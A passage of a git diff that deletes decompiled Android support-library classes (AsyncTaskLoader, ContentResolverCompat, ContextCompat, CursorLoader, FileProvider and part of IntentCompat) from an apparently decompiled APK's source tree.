-10000L; - this.mExecutor = executor; - } - - public void setUpdateThrottle(long j) { - this.mUpdateThrottle = j; - if (j != 0) { - this.mHandler = new Handler(); - } - } - - /* JADX INFO: Access modifiers changed from: protected */ - @Override // android.support.v4.content.Loader - public void onForceLoad() { - super.onForceLoad(); - cancelLoad(); - this.mTask = new LoadTask(); - executePendingTask(); - } - - @Override // android.support.v4.content.Loader - protected boolean onCancelLoad() { - if (this.mTask != null) { - if (this.mCancellingTask != null) { - if (this.mTask.waiting) { - this.mTask.waiting = false; - this.mHandler.removeCallbacks(this.mTask); - } - this.mTask = null; - return false; - } else if (this.mTask.waiting) { - this.mTask.waiting = false; - this.mHandler.removeCallbacks(this.mTask); - this.mTask = null; - return false; - } else { - boolean cancel = this.mTask.cancel(false); - if (cancel) { - this.mCancellingTask = this.mTask; - cancelLoadInBackground(); - } - this.mTask = null; - return cancel; - } - } - return false; - } - - void executePendingTask() { - if (this.mCancellingTask != null || this.mTask == null) { - return; - } - if (this.mTask.waiting) { - this.mTask.waiting = false; - this.mHandler.removeCallbacks(this.mTask); - } - if (this.mUpdateThrottle > 0 && SystemClock.uptimeMillis() < this.mLastLoadCompleteTime + this.mUpdateThrottle) { - this.mTask.waiting = true; - this.mHandler.postAtTime(this.mTask, this.mLastLoadCompleteTime + this.mUpdateThrottle); - return; - } - this.mTask.executeOnExecutor(this.mExecutor, null); - } - - void dispatchOnCancelled(AsyncTaskLoader.LoadTask loadTask, D d) { - onCanceled(d); - if (this.mCancellingTask == loadTask) { - rollbackContentChanged(); - this.mLastLoadCompleteTime = SystemClock.uptimeMillis(); - this.mCancellingTask = null; - deliverCancellation(); - executePendingTask(); - } - } - - void dispatchOnLoadComplete(AsyncTaskLoader.LoadTask loadTask, D d) { - if (this.mTask != loadTask) { - dispatchOnCancelled(loadTask, d); - } else if (isAbandoned()) { - onCanceled(d); - } else { - commitContentChanged(); - this.mLastLoadCompleteTime = SystemClock.uptimeMillis(); - this.mTask = null; - deliverResult(d); - } - } - - protected D onLoadInBackground() { - return loadInBackground(); - } - - public boolean isLoadInBackgroundCanceled() { - return this.mCancellingTask != null; - } - - public void waitForLoader() { - AsyncTaskLoader.LoadTask loadTask = this.mTask; - if (loadTask != null) { - loadTask.waitForLoader(); - } - } - - @Override // android.support.v4.content.Loader - public void dump(String str, FileDescriptor fileDescriptor, PrintWriter printWriter, String[] strArr) { - super.dump(str, fileDescriptor, printWriter, strArr); - if (this.mTask != null) { - printWriter.print(str); - printWriter.print("mTask="); - printWriter.print(this.mTask); - printWriter.print(" waiting="); - printWriter.println(this.mTask.waiting); - } - if (this.mCancellingTask != null) { - printWriter.print(str); - printWriter.print("mCancellingTask="); - printWriter.print(this.mCancellingTask); - printWriter.print(" waiting="); - printWriter.println(this.mCancellingTask.waiting); - } - if (this.mUpdateThrottle != 0) { - printWriter.print(str); - printWriter.print("mUpdateThrottle="); - TimeUtils.formatDuration(this.mUpdateThrottle, printWriter); - printWriter.print(" mLastLoadCompleteTime="); - TimeUtils.formatDuration(this.mLastLoadCompleteTime, SystemClock.uptimeMillis(), printWriter); - printWriter.println(); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/ContentResolverCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/content/ContentResolverCompat.java deleted file mode 100644 index ddc5e7e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/ContentResolverCompat.java +++ /dev/null @@ -1,61 +0,0 @@ -package android.support.v4.content; - -import android.content.ContentResolver; -import android.database.Cursor; -import android.net.Uri; -import android.support.v4.os.CancellationSignal; -import android.support.v4.os.OperationCanceledException; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class ContentResolverCompat { - private static final ContentResolverCompatImpl IMPL = new ContentResolverCompatImplJB(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface ContentResolverCompatImpl { - Cursor query(ContentResolver contentResolver, Uri uri, String[] strArr, String str, String[] strArr2, String str2, CancellationSignal cancellationSignal); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ContentResolverCompatImplBase implements ContentResolverCompatImpl { - ContentResolverCompatImplBase() { - } - - @Override // android.support.v4.content.ContentResolverCompat.ContentResolverCompatImpl - public Cursor query(ContentResolver contentResolver, Uri uri, String[] strArr, String str, String[] strArr2, String str2, CancellationSignal cancellationSignal) { - if (cancellationSignal != null) { - cancellationSignal.throwIfCanceled(); - } - return contentResolver.query(uri, strArr, str, strArr2, str2); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ContentResolverCompatImplJB extends ContentResolverCompatImplBase { - ContentResolverCompatImplJB() { - } - - @Override // android.support.v4.content.ContentResolverCompat.ContentResolverCompatImplBase, android.support.v4.content.ContentResolverCompat.ContentResolverCompatImpl - public Cursor query(ContentResolver contentResolver, Uri uri, String[] strArr, String str, String[] strArr2, String str2, CancellationSignal cancellationSignal) { - Object cancellationSignalObject; - if (cancellationSignal != null) { - try { - cancellationSignalObject = cancellationSignal.getCancellationSignalObject(); - } catch (Exception e) { - if (ContentResolverCompatJellybean.isFrameworkOperationCanceledException(e)) { - throw new OperationCanceledException(); - } - throw e; - } - } else { - cancellationSignalObject = null; - } - return ContentResolverCompatJellybean.query(contentResolver, uri, strArr, str, strArr2, str2, cancellationSignalObject); - } - } - - private ContentResolverCompat() { - } - - public static Cursor query(ContentResolver contentResolver, Uri uri, String[] strArr, String str, String[] strArr2, String str2, CancellationSignal cancellationSignal) { - return IMPL.query(contentResolver, uri, strArr, str, strArr2, str2, cancellationSignal); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/ContentResolverCompatJellybean.java b/apk_3230/decompiled_source/sources/android/support/v4/content/ContentResolverCompatJellybean.java deleted file mode 100644 index 5cd7ddc..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/ContentResolverCompatJellybean.java +++ /dev/null @@ -1,21 +0,0 @@ -package android.support.v4.content; - -import android.content.ContentResolver; -import android.database.Cursor; -import android.net.Uri; -import android.os.CancellationSignal; -import android.os.OperationCanceledException; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ContentResolverCompatJellybean { - ContentResolverCompatJellybean() { - } - - public static Cursor query(ContentResolver contentResolver, Uri uri, String[] strArr, String str, String[] strArr2, String str2, Object obj) { - return contentResolver.query(uri, strArr, str, strArr2, str2, (CancellationSignal) obj); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static boolean isFrameworkOperationCanceledException(Exception exc) { - return exc instanceof OperationCanceledException; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompat.java deleted file mode 100644 index e390aef..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompat.java +++ /dev/null @@ -1,127 +0,0 @@ -package android.support.v4.content; - -import android.content.Context; -import android.content.Intent; -import android.content.res.ColorStateList; -import android.graphics.drawable.Drawable; -import android.os.Bundle; -import android.os.Process; -import android.support.v4.os.BuildCompat; -import android.util.Log; -import android.util.TypedValue; -import java.io.File; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class ContextCompat { - private static final String DIR_ANDROID = "Android"; - private static final String DIR_OBB = "obb"; - private static final String TAG = "ContextCompat"; - private static final Object sLock = new Object(); - private static TypedValue sTempValue; - - public static boolean startActivities(Context context, Intent[] intentArr) { - return startActivities(context, intentArr, null); - } - - public static boolean startActivities(Context context, Intent[] intentArr, Bundle bundle) { - ContextCompatJellybean.startActivities(context, intentArr, bundle); - return true; - } - - public static File getDataDir(Context context) { - if (BuildCompat.isAtLeastN()) { - return ContextCompatApi24.getDataDir(context); - } - String str = context.getApplicationInfo().dataDir; - if (str != null) { - return new File(str); - } - return null; - } - - public static File[] getObbDirs(Context context) { - return ContextCompatKitKat.getObbDirs(context); - } - - public static File[] getExternalFilesDirs(Context context, String str) { - return ContextCompatKitKat.getExternalFilesDirs(context, str); - } - - public static File[] getExternalCacheDirs(Context context) { - return ContextCompatKitKat.getExternalCacheDirs(context); - } - - private static File buildPath(File file, String... strArr) { - for (String str : strArr) { - if (file == null) { - file = new File(str); - } else if (str != null) { - file = new File(file, str); - } - } - return file; - } - - public static final Drawable getDrawable(Context context, int i) { - return ContextCompatApi21.getDrawable(context, i); - } - - public static final ColorStateList getColorStateList(Context context, int i) { - return ContextCompatApi23.getColorStateList(context, i); - } - - public static final int getColor(Context context, int i) { - return ContextCompatApi23.getColor(context, i); - } - - public static int checkSelfPermission(Context context, String str) { - if (str == null) { - throw new IllegalArgumentException("permission is null"); - } - return context.checkPermission(str, Process.myPid(), Process.myUid()); - } - - public static final File getNoBackupFilesDir(Context context) { - return ContextCompatApi21.getNoBackupFilesDir(context); - } - - public static File getCodeCacheDir(Context context) { - return ContextCompatApi21.getCodeCacheDir(context); - } - - private static synchronized File createFilesDir(File file) { - synchronized (ContextCompat.class) { - if (file.exists() || file.mkdirs()) { - return file; - } - if (file.exists()) { - return file; - } - Log.w(TAG, "Unable to create files subdir " + file.getPath()); - return null; - } - } - - public static Context createDeviceProtectedStorageContext(Context context) { - if (BuildCompat.isAtLeastN()) { - return ContextCompatApi24.createDeviceProtectedStorageContext(context); - } - return null; - } - - @Deprecated - public static Context createDeviceEncryptedStorageContext(Context context) { - return createDeviceProtectedStorageContext(context); - } - - public static boolean isDeviceProtectedStorage(Context context) { - if (BuildCompat.isAtLeastN()) { - return ContextCompatApi24.isDeviceProtectedStorage(context); - } - return false; - } - - @Deprecated - public static boolean isDeviceEncryptedStorage(Context context) { - return isDeviceProtectedStorage(context); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompatApi21.java b/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompatApi21.java deleted file mode 100644 index c308152..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompatApi21.java +++ /dev/null @@ -1,22 +0,0 @@ -package android.support.v4.content; - -import android.content.Context; -import android.graphics.drawable.Drawable; -import java.io.File; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ContextCompatApi21 { - ContextCompatApi21() { - } - - public static Drawable getDrawable(Context context, int i) { - return context.getDrawable(i); - } - - public static File getNoBackupFilesDir(Context context) { - return context.getNoBackupFilesDir(); - } - - public static File getCodeCacheDir(Context context) { - return context.getCodeCacheDir(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompatApi23.java b/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompatApi23.java deleted file mode 100644 index 560fb38..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompatApi23.java +++ /dev/null @@ -1,17 +0,0 @@ -package android.support.v4.content; - -import android.content.Context; -import android.content.res.ColorStateList; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ContextCompatApi23 { - ContextCompatApi23() { - } - - public static ColorStateList getColorStateList(Context context, int i) { - return context.getColorStateList(i); - } - - public static int getColor(Context context, int i) { - return context.getColor(i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompatApi24.java b/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompatApi24.java deleted file mode 100644 index f528ed7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompatApi24.java +++ /dev/null @@ -1,21 +0,0 @@ -package android.support.v4.content; - -import android.content.Context; -import java.io.File; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ContextCompatApi24 { - ContextCompatApi24() { - } - - public static File getDataDir(Context context) { - return context.getDataDir(); - } - - public static Context createDeviceProtectedStorageContext(Context context) { - return context.createDeviceProtectedStorageContext(); - } - - public static boolean isDeviceProtectedStorage(Context context) { - return context.isDeviceProtectedStorage(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompatHoneycomb.java b/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompatHoneycomb.java deleted file mode 100644 index b53caf6..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompatHoneycomb.java +++ /dev/null @@ -1,18 +0,0 @@ -package android.support.v4.content; - -import android.content.Context; -import android.content.Intent; -import java.io.File; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ContextCompatHoneycomb { - ContextCompatHoneycomb() { - } - - static void startActivities(Context context, Intent[] intentArr) { - context.startActivities(intentArr); - } - - public static File getObbDir(Context context) { - return context.getObbDir(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompatJellybean.java b/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompatJellybean.java deleted file mode 100644 index 46c5ec7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompatJellybean.java +++ /dev/null @@ -1,14 +0,0 @@ -package android.support.v4.content; - -import android.content.Context; -import android.content.Intent; -import android.os.Bundle; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ContextCompatJellybean { - ContextCompatJellybean() { - } - - public static void startActivities(Context context, Intent[] intentArr, Bundle bundle) { - context.startActivities(intentArr, bundle); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompatKitKat.java b/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompatKitKat.java deleted file mode 100644 index 156ddf6..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/ContextCompatKitKat.java +++ /dev/null @@ -1,21 +0,0 @@ -package android.support.v4.content; - -import android.content.Context; -import java.io.File; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ContextCompatKitKat { - ContextCompatKitKat() { - } - - public static File[] getExternalCacheDirs(Context context) { - return context.getExternalCacheDirs(); - } - - public static File[] getExternalFilesDirs(Context context, String str) { - return context.getExternalFilesDirs(str); - } - - public static File[] getObbDirs(Context context) { - return context.getObbDirs(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/CursorLoader.java b/apk_3230/decompiled_source/sources/android/support/v4/content/CursorLoader.java deleted file mode 100644 index 8e06766..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/CursorLoader.java +++ /dev/null @@ -1,202 +0,0 @@ -package android.support.v4.content; - -import android.content.Context; -import android.database.Cursor; -import android.net.Uri; -import android.support.v4.content.Loader; -import android.support.v4.os.CancellationSignal; -import android.support.v4.os.OperationCanceledException; -import java.io.FileDescriptor; -import java.io.PrintWriter; -import java.util.Arrays; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class CursorLoader extends AsyncTaskLoader { - CancellationSignal mCancellationSignal; - Cursor mCursor; - final Loader.ForceLoadContentObserver mObserver; - String[] mProjection; - String mSelection; - String[] mSelectionArgs; - String mSortOrder; - Uri mUri; - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.support.v4.content.AsyncTaskLoader - public Cursor loadInBackground() { - synchronized (this) { - if (isLoadInBackgroundCanceled()) { - throw new OperationCanceledException(); - } - this.mCancellationSignal = new CancellationSignal(); - } - try { - Cursor query = ContentResolverCompat.query(getContext().getContentResolver(), this.mUri, this.mProjection, this.mSelection, this.mSelectionArgs, this.mSortOrder, this.mCancellationSignal); - if (query != null) { - try { - query.getCount(); - query.registerContentObserver(this.mObserver); - } catch (RuntimeException e) { - query.close(); - throw e; - } - } - synchronized (this) { - this.mCancellationSignal = null; - } - return query; - } catch (Throwable th) { - synchronized (this) { - this.mCancellationSignal = null; - throw th; - } - } - } - - @Override // android.support.v4.content.AsyncTaskLoader - public void cancelLoadInBackground() { - super.cancelLoadInBackground(); - synchronized (this) { - CancellationSignal cancellationSignal = this.mCancellationSignal; - if (cancellationSignal != null) { - cancellationSignal.cancel(); - } - } - } - - @Override // android.support.v4.content.Loader - public void deliverResult(Cursor cursor) { - if (isReset()) { - if (cursor != null) { - cursor.close(); - return; - } - return; - } - Cursor cursor2 = this.mCursor; - this.mCursor = cursor; - if (isStarted()) { - super.deliverResult((CursorLoader) cursor); - } - if (cursor2 == null || cursor2 == cursor || cursor2.isClosed()) { - return; - } - cursor2.close(); - } - - public CursorLoader(Context context) { - super(context); - this.mObserver = new Loader.ForceLoadContentObserver(); - } - - public CursorLoader(Context context, Uri uri, String[] strArr, String str, String[] strArr2, String str2) { - super(context); - this.mObserver = new Loader.ForceLoadContentObserver(); - this.mUri = uri; - this.mProjection = strArr; - this.mSelection = str; - this.mSelectionArgs = strArr2; - this.mSortOrder = str2; - } - - @Override // android.support.v4.content.Loader - protected void onStartLoading() { - Cursor cursor = this.mCursor; - if (cursor != null) { - deliverResult(cursor); - } - if (takeContentChanged() || this.mCursor == null) { - forceLoad(); - } - } - - @Override // android.support.v4.content.Loader - protected void onStopLoading() { - cancelLoad(); - } - - @Override // android.support.v4.content.AsyncTaskLoader - public void onCanceled(Cursor cursor) { - if (cursor == null || cursor.isClosed()) { - return; - } - cursor.close(); - } - - /* JADX INFO: Access modifiers changed from: protected */ - @Override // android.support.v4.content.Loader - public void onReset() { - super.onReset(); - onStopLoading(); - Cursor cursor = this.mCursor; - if (cursor != null && !cursor.isClosed()) { - this.mCursor.close(); - } - this.mCursor = null; - } - - public Uri getUri() { - return this.mUri; - } - - public void setUri(Uri uri) { - this.mUri = uri; - } - - public String[] getProjection() { - return this.mProjection; - } - - public void setProjection(String[] strArr) { - this.mProjection = strArr; - } - - public String getSelection() { - return this.mSelection; - } - - public void setSelection(String str) { - this.mSelection = str; - } - - public String[] getSelectionArgs() { - return this.mSelectionArgs; - } - - public void setSelectionArgs(String[] strArr) { - this.mSelectionArgs = strArr; - } - - public String getSortOrder() { - return this.mSortOrder; - } - - public void setSortOrder(String str) { - this.mSortOrder = str; - } - - @Override // android.support.v4.content.AsyncTaskLoader, android.support.v4.content.Loader - public void dump(String str, FileDescriptor fileDescriptor, PrintWriter printWriter, String[] strArr) { - super.dump(str, fileDescriptor, printWriter, strArr); - printWriter.print(str); - printWriter.print("mUri="); - printWriter.println(this.mUri); - printWriter.print(str); - printWriter.print("mProjection="); - printWriter.println(Arrays.toString(this.mProjection)); - printWriter.print(str); - printWriter.print("mSelection="); - printWriter.println(this.mSelection); - printWriter.print(str); - printWriter.print("mSelectionArgs="); - printWriter.println(Arrays.toString(this.mSelectionArgs)); - printWriter.print(str); - printWriter.print("mSortOrder="); - printWriter.println(this.mSortOrder); - printWriter.print(str); - printWriter.print("mCursor="); - printWriter.println(this.mCursor); - printWriter.print(str); - printWriter.print("mContentChanged="); - printWriter.println(this.mContentChanged); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/ExecutorCompatHoneycomb.java b/apk_3230/decompiled_source/sources/android/support/v4/content/ExecutorCompatHoneycomb.java deleted file mode 100644 index adecb5e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/ExecutorCompatHoneycomb.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.content; - -import android.os.AsyncTask; -import java.util.concurrent.Executor; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ExecutorCompatHoneycomb { - ExecutorCompatHoneycomb() { - } - - public static Executor getParallelExecutor() { - return AsyncTask.THREAD_POOL_EXECUTOR; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/FileProvider.java b/apk_3230/decompiled_source/sources/android/support/v4/content/FileProvider.java deleted file mode 100644 index d8881a1..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/FileProvider.java +++ /dev/null @@ -1,296 +0,0 @@ -package android.support.v4.content; - -import android.content.ContentProvider; -import android.content.ContentValues; -import android.content.Context; -import android.content.pm.ProviderInfo; -import android.content.res.XmlResourceParser; -import android.database.Cursor; -import android.database.MatrixCursor; -import android.net.Uri; -import android.os.Environment; -import android.os.ParcelFileDescriptor; -import android.text.TextUtils; -import android.webkit.MimeTypeMap; -import java.io.File; -import java.io.FileNotFoundException; -import java.io.IOException; -import java.util.HashMap; -import java.util.Map; -import org.xmlpull.v1.XmlPullParserException; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class FileProvider extends ContentProvider { - private static final String ATTR_NAME = "name"; - private static final String ATTR_PATH = "path"; - private static final String META_DATA_FILE_PROVIDER_PATHS = "android.support.FILE_PROVIDER_PATHS"; - private static final String TAG_CACHE_PATH = "cache-path"; - private static final String TAG_EXTERNAL = "external-path"; - private static final String TAG_EXTERNAL_CACHE = "external-cache-path"; - private static final String TAG_EXTERNAL_FILES = "external-files-path"; - private static final String TAG_FILES_PATH = "files-path"; - private static final String TAG_ROOT_PATH = "root-path"; - private PathStrategy mStrategy; - private static final String[] COLUMNS = {"_display_name", "_size"}; - private static final File DEVICE_ROOT = new File("/"); - private static HashMap sCache = new HashMap<>(); - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface PathStrategy { - File getFileForUri(Uri uri); - - Uri getUriForFile(File file); - } - - @Override // android.content.ContentProvider - public boolean onCreate() { - return true; - } - - @Override // android.content.ContentProvider - public void attachInfo(Context context, ProviderInfo providerInfo) { - super.attachInfo(context, providerInfo); - if (providerInfo.exported) { - throw new SecurityException("Provider must not be exported"); - } - if (!providerInfo.grantUriPermissions) { - throw new SecurityException("Provider must grant uri permissions"); - } - this.mStrategy = getPathStrategy(context, providerInfo.authority); - } - - public static Uri getUriForFile(Context context, String str, File file) { - return getPathStrategy(context, str).getUriForFile(file); - } - - @Override // android.content.ContentProvider - public Cursor query(Uri uri, String[] strArr, String str, String[] strArr2, String str2) { - int i; - File fileForUri = this.mStrategy.getFileForUri(uri); - if (strArr == null) { - strArr = COLUMNS; - } - String[] strArr3 = new String[strArr.length]; - Object[] objArr = new Object[strArr.length]; - int i2 = 0; - for (String str3 : strArr) { - if ("_display_name".equals(str3)) { - strArr3[i2] = "_display_name"; - i = i2 + 1; - objArr[i2] = fileForUri.getName(); - } else if ("_size".equals(str3)) { - strArr3[i2] = "_size"; - i = i2 + 1; - objArr[i2] = Long.valueOf(fileForUri.length()); - } - i2 = i; - } - String[] copyOf = copyOf(strArr3, i2); - Object[] copyOf2 = copyOf(objArr, i2); - MatrixCursor matrixCursor = new MatrixCursor(copyOf, 1); - matrixCursor.addRow(copyOf2); - return matrixCursor; - } - - @Override // android.content.ContentProvider - public String getType(Uri uri) { - File fileForUri = this.mStrategy.getFileForUri(uri); - int lastIndexOf = fileForUri.getName().lastIndexOf(46); - if (lastIndexOf >= 0) { - String mimeTypeFromExtension = MimeTypeMap.getSingleton().getMimeTypeFromExtension(fileForUri.getName().substring(lastIndexOf + 1)); - return mimeTypeFromExtension != null ? mimeTypeFromExtension : "application/octet-stream"; - } - return "application/octet-stream"; - } - - @Override // android.content.ContentProvider - public Uri insert(Uri uri, ContentValues contentValues) { - throw new UnsupportedOperationException("No external inserts"); - } - - @Override // android.content.ContentProvider - public int update(Uri uri, ContentValues contentValues, String str, String[] strArr) { - throw new UnsupportedOperationException("No external updates"); - } - - @Override // android.content.ContentProvider - public int delete(Uri uri, String str, String[] strArr) { - return this.mStrategy.getFileForUri(uri).delete() ? 1 : 0; - } - - @Override // android.content.ContentProvider - public ParcelFileDescriptor openFile(Uri uri, String str) throws FileNotFoundException { - return ParcelFileDescriptor.open(this.mStrategy.getFileForUri(uri), modeToMode(str)); - } - - private static PathStrategy getPathStrategy(Context context, String str) { - PathStrategy pathStrategy; - synchronized (sCache) { - pathStrategy = sCache.get(str); - if (pathStrategy == null) { - try { - pathStrategy = parsePathStrategy(context, str); - sCache.put(str, pathStrategy); - } catch (IOException e) { - throw new IllegalArgumentException("Failed to parse android.support.FILE_PROVIDER_PATHS meta-data", e); - } catch (XmlPullParserException e2) { - throw new IllegalArgumentException("Failed to parse android.support.FILE_PROVIDER_PATHS meta-data", e2); - } - } - } - return pathStrategy; - } - - private static PathStrategy parsePathStrategy(Context context, String str) throws IOException, XmlPullParserException { - SimplePathStrategy simplePathStrategy = new SimplePathStrategy(str); - XmlResourceParser loadXmlMetaData = context.getPackageManager().resolveContentProvider(str, 128).loadXmlMetaData(context.getPackageManager(), META_DATA_FILE_PROVIDER_PATHS); - if (loadXmlMetaData == null) { - throw new IllegalArgumentException("Missing android.support.FILE_PROVIDER_PATHS meta-data"); - } - while (true) { - int next = loadXmlMetaData.next(); - if (next == 1) { - return simplePathStrategy; - } - if (next == 2) { - String name = loadXmlMetaData.getName(); - File file = null; - String attributeValue = loadXmlMetaData.getAttributeValue(null, ATTR_NAME); - String attributeValue2 = loadXmlMetaData.getAttributeValue(null, ATTR_PATH); - if (TAG_ROOT_PATH.equals(name)) { - file = DEVICE_ROOT; - } else if (TAG_FILES_PATH.equals(name)) { - file = context.getFilesDir(); - } else if (TAG_CACHE_PATH.equals(name)) { - file = context.getCacheDir(); - } else if (TAG_EXTERNAL.equals(name)) { - file = Environment.getExternalStorageDirectory(); - } else if (TAG_EXTERNAL_FILES.equals(name)) { - File[] externalFilesDirs = ContextCompat.getExternalFilesDirs(context, null); - if (externalFilesDirs.length > 0) { - file = externalFilesDirs[0]; - } - } else if (TAG_EXTERNAL_CACHE.equals(name)) { - File[] externalCacheDirs = ContextCompat.getExternalCacheDirs(context); - if (externalCacheDirs.length > 0) { - file = externalCacheDirs[0]; - } - } - if (file != null) { - simplePathStrategy.addRoot(attributeValue, buildPath(file, attributeValue2)); - } - } - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class SimplePathStrategy implements PathStrategy { - private final String mAuthority; - private final HashMap mRoots = new HashMap<>(); - - public SimplePathStrategy(String str) { - this.mAuthority = str; - } - - public void addRoot(String str, File file) { - if (TextUtils.isEmpty(str)) { - throw new IllegalArgumentException("Name must not be empty"); - } - try { - this.mRoots.put(str, file.getCanonicalFile()); - } catch (IOException e) { - throw new IllegalArgumentException("Failed to resolve canonical path for " + file, e); - } - } - - @Override // android.support.v4.content.FileProvider.PathStrategy - public Uri getUriForFile(File file) { - String substring; - try { - String canonicalPath = file.getCanonicalPath(); - Map.Entry entry = null; - for (Map.Entry entry2 : this.mRoots.entrySet()) { - String path = entry2.getValue().getPath(); - if (canonicalPath.startsWith(path) && (entry == null || path.length() > entry.getValue().getPath().length())) { - entry = entry2; - } - } - if (entry == null) { - throw new IllegalArgumentException("Failed to find configured root that contains " + canonicalPath); - } - String path2 = entry.getValue().getPath(); - if (path2.endsWith("/")) { - substring = canonicalPath.substring(path2.length()); - } else { - substring = canonicalPath.substring(path2.length() + 1); - } - return new Uri.Builder().scheme("content").authority(this.mAuthority).encodedPath(Uri.encode(entry.getKey()) + '/' + Uri.encode(substring, "/")).build(); - } catch (IOException unused) { - throw new IllegalArgumentException("Failed to resolve canonical path for " + file); - } - } - - @Override // android.support.v4.content.FileProvider.PathStrategy - public File getFileForUri(Uri uri) { - String encodedPath = uri.getEncodedPath(); - int indexOf = encodedPath.indexOf(47, 1); - String decode = Uri.decode(encodedPath.substring(1, indexOf)); - String decode2 = Uri.decode(encodedPath.substring(indexOf + 1)); - File file = this.mRoots.get(decode); - if (file == null) { - throw new IllegalArgumentException("Unable to find configured root for " + uri); - } - File file2 = new File(file, decode2); - try { - File canonicalFile = file2.getCanonicalFile(); - if (canonicalFile.getPath().startsWith(file.getPath())) { - return canonicalFile; - } - throw new SecurityException("Resolved path jumped beyond configured root"); - } catch (IOException unused) { - throw new IllegalArgumentException("Failed to resolve canonical path for " + file2); - } - } - } - - private static int modeToMode(String str) { - if ("r".equals(str)) { - return 268435456; - } - if ("w".equals(str) || "wt".equals(str)) { - return 738197504; - } - if ("wa".equals(str)) { - return 704643072; - } - if ("rw".equals(str)) { - return 939524096; - } - if ("rwt".equals(str)) { - return 1006632960; - } - throw new IllegalArgumentException("Invalid mode: " + str); - } - - private static File buildPath(File file, String... strArr) { - for (String str : strArr) { - if (str != null) { - file = new File(file, str); - } - } - return file; - } - - private static String[] copyOf(String[] strArr, int i) { - String[] strArr2 = new String[i]; - System.arraycopy(strArr, 0, strArr2, 0, i); - return strArr2; - } - - private static Object[] copyOf(Object[] objArr, int i) { - Object[] objArr2 = new Object[i]; - System.arraycopy(objArr, 0, objArr2, 0, i); - return objArr2; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/IntentCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/content/IntentCompat.java deleted file mode 100644 index 3c011df..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/IntentCompat.java +++ /dev/null @@ -1,95 +0,0 @@ -package android.support.v4.content; - -import android.content.ComponentName; -import android.content.Intent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class IntentCompat { - public static final String ACTION_EXTERNAL_APPLICATIONS_AVAILABLE = "android.intent.action.EXTERNAL_APPLICATIONS_AVAILABLE"; - public static final String ACTION_EXTERNAL_APPLICATIONS_UNAVAILABLE = "android.intent.action.EXTERNAL_APPLICATIONS_UNAVAILABLE"; - public static final String CATEGORY_LEANBACK_LAUNCHER = "android.intent.category.LEANBACK_LAUNCHER"; - public static final String EXTRA_CHANGED_PACKAGE_LIST = "android.intent.extra.changed_package_list"; - public static final String EXTRA_CHANGED_UID_LIST = "android.intent.extra.changed_uid_list"; - public static final String EXTRA_HTML_TEXT = "android.intent.extra.HTML_TEXT"; - public static final int FLAG_ACTIVITY_CLEAR_TASK = 32768; - public static final int FLAG_ACTIVITY_TASK_ON_HOME = 16384; - private static final IntentCompatImpl IMPL = new IntentCompatImplIcsMr1(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface IntentCompatImpl { - Intent makeMainActivity(ComponentName componentName); - - Intent makeMainSelectorActivity(String str, String str2); - - Intent makeRestartActivityTask(ComponentName componentName); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class IntentCompatImplBase implements IntentCompatImpl { - 